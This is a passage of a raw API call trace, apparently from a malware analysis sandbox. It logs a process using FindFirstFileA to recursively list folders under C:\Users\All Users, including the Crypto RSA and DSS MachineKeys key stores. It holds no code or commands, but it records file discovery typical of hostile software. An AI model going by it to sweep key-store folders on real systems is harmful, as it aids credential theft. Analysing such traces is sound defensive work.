ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0220.534] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Favorites\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeaf59aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf59aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="ARM", cAlternateFileName="")) returned 0xffffffff [0220.537] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeafa5d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafa5d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0220.540] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Assistance\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xeafa5d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafa5d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.543] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xeafcbec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafcbec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.546] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xeafcbec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafcbec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.549] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeaff2020, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaff2020, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.552] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeaff2020, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaff2020, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.555] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb018180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb018180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.557] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb018180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb018180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.560] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb03e2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb03e2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.564] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb03e2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb03e2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.567] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb064440, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb064440, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.570] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xeb0b0700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb0b0700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.573] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb0d6860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb0d6860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.576] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb0d6860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb0d6860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.581] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb0fc9c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb0fc9c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.587] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb1bb0a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb1bb0a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.591] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb207360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb207360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.594] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb29f8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb29f8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.597] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeb384120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb384120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.600] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb3aa280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3aa280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.603] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeb3d03e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3d03e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.607] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb3d03e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3d03e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.634] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb3f6540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3f6540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.646] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb3f6540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb3f6540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.649] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\eHome\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeb41c6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb41c6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.652] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeb41c6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb41c6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.655] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xeb41c6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb41c6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.658] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xeb442800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb442800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.660] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xeb442800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb442800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.663] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb468960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb468960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.666] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Media Player\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xeb468960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb468960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.669] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeb500ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb500ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.672] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\MSDN\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeb599460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb599460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.676] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeb599460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb599460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.679] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xeb5bf5c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb5bf5c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.683] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xeb5e5720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb5e5720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.685] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb60b880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb60b880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.688] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeb60b880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeb60b880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.691] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xebda1ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebda1ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.694] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\OFFICE\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebdc8000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebdc8000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.697] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebdc8000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebdc8000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.700] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebdc8000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebdc8000, 